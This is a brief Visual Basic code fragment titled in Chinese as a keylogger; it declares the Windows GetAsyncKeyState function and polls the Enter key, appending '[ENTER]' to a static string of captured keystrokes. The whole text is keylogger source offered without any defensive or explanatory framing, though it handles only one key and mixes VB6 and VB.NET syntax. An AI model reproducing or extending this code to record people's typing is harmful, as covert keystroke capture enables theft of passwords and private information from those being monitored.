鍵盤記錄


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



        Dim AddKey, keyResult
        Static KeyFound As String

        keyResult = GetAsyncKeyState(13) 'ENTER
        If keyResult = -32767 Then
            AddKey = "[ENTER]"
            KeyFound += AddKey.ToString
        End If